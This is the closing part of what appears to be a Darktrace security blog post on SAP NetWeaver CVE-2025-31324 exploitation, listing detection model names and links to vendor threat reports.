Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI